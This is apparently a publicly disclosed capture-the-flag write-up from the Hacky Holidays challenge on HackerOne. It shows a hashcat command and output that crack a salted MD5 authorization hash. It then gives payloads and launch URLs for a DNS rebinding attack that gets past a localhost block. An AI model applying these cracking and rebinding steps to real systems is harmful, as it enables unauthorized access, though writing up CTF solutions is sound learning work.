Try as we might, we couldn't find any way to bypass the hash protection. I did find that - could be used in the target without triggering an error, indicating a domain could be passed as a target - but we'll talk more about that soon.

The suggestion of hashcat was brought up and we started to see if we could crack whatever was being used to authorize the IP addresses. The assumption that the authentication hash was generated in one of two ways:

  • md5(password + ip)
  • md5(ip + password)

There's not an exact command line argument in hashcat for this specific situation, but there are two modes that are similar enough to work:

- [ Hash modes ] -

      # | Name                                             | Category
  ======+==================================================+======================================
    900 | MD4                                              | Raw Hash
      0 | MD5                                              | Raw Hash
  ...
     10 | md5($pass.$salt)                                 | Raw Hash, Salted and/or Iterated
     20 | md5($salt.$pass)                                 | Raw Hash, Salted and/or Iterated

After some tweaking and testing, we found that attack mode 10 worked! The authenticated hash was being generated with md5('mrgrinch463'+ip)

hashcat command

hashcat -m 10 -O 5f2940d65ca4140cc18d0878bc398955:203.0.113.33 rockyou.txt --force

Output:

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5($pass.$salt)
Hash.Target......: 5f2940d65ca4140cc18d0878bc398955:203.0.113.33
Time.Started.....: Mon Dec 28 21:10:03 2020 (2 secs)
Time.Estimated...: Mon Dec 28 21:10:05 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:  2218.0 kH/s (0.96ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 5352547/14344385 (37.31%)
Rejected.........: 1123/5352547 (0.02%)
Restore.Point....: 5349475/14344385 (37.29%)
Candidates.#1....: mrkitty18 -> mrbrln07
HWMon.Dev.#1.....: N/A

DNS Rebinding

With the password cracked, all we had to do now what make an authentication hash for 127.0.0.1 right?? WRONG!

Here's the hash: md5('mrgrinch463127.0.0.1') == 3e3f8df1658372edf0214e202acb460b

Here's the payload: {"target":"127.0.0.1","hash":"3e3f8df1658372edf0214e202acb460b"}

Here's the launch URL: https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiIxMjcuMC4wLjEiLCJoYXNoIjoiM2UzZjhkZjE2NTgzNzJlZGYwMjE0ZTIwMmFjYjQ2MGIifQ==

But here's the issue: "Local target detected, aborting attack"

{F1133394}

We know domains can be used in the target field since dashes are allowed. The first thing that comes to mind is a DNS Rebinding attack. The site http://1u.ms/ has a succint explanation that details why this would work in this case:

DNS rebinding is a well-known technique targeting TOCTOU (Time-of-check to time-of-use) type of vulnerabilities during IP blacklisting or whitelisting. It is performed using a domain that resolves in a legit IP during the first request (check) and to the forbidden one during the second request (use).

In our case, we'd like to craft a domain that resolves to 203.0.113.213 for the check and then the localhost 127.0.0.1 when the attack is launched.

We can make a domain that behaves like this using a this tool: https://lock.cmpxchg8b.com/rebinder.html

{F1133407}

And now we have this domain which randomly resolve to either 127.0.0.1 or 203.0.113.213: cb0071d5.7f000001.rbndr.us. This took a few times to work because we have to win two "coin flips" of the IP pointing to 203.0.113.213 first and then 127.0.0.1 for the actual attack.

With a domain prepared, we can relaunch the attack!

Here's the hash: md5('mrgrinch463cb0071d5.7f000001.rbndr.us') == 51a799c562ed548d5ce9c8f4d1e71455

Here's the payload: {"target":"cb0071d5.7f000001.rbndr.us","hash":"51a799c562ed548d5ce9c8f4d1e71455"}

Here's the launch URL: https://hackyholidays.h1ctf.com/attack-box/launch?payload=eyJ0YXJnZXQiOiJjYjAwNzFkNS43ZjAwMDAwMS5yYm5kci51cyIsImhhc2giOiI1MWE3OTljNTYyZWQ1NDhkNWNlOWM4ZjRkMWU3MTQ1NSJ9

After a few tries, the rebinding attack works and we've DDoS'd Grinch Networks and saved the holidays!

{F1133408}

Epilogue

I'm glad that we saved Christmas but I'm sad that it's over. These were 12 fantastic challenges - and they were a challenge in every sense of the word. I look forward to more CTF's made by Adam in the future!

Grinch sprang to his sleigh, to Max he gave a whistle, And away they all flew like the down of a thistle. But I heard him exclaim, ere he drove out of sight— “Happy Hackmas to all, and to all a good night!”

@bendtheory

Impact

The Grinch could have stolen Christmas! Were it not for the dozen or holes identified in his Network. I hear his IT guy - Adam? - is in world of trouble right now.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original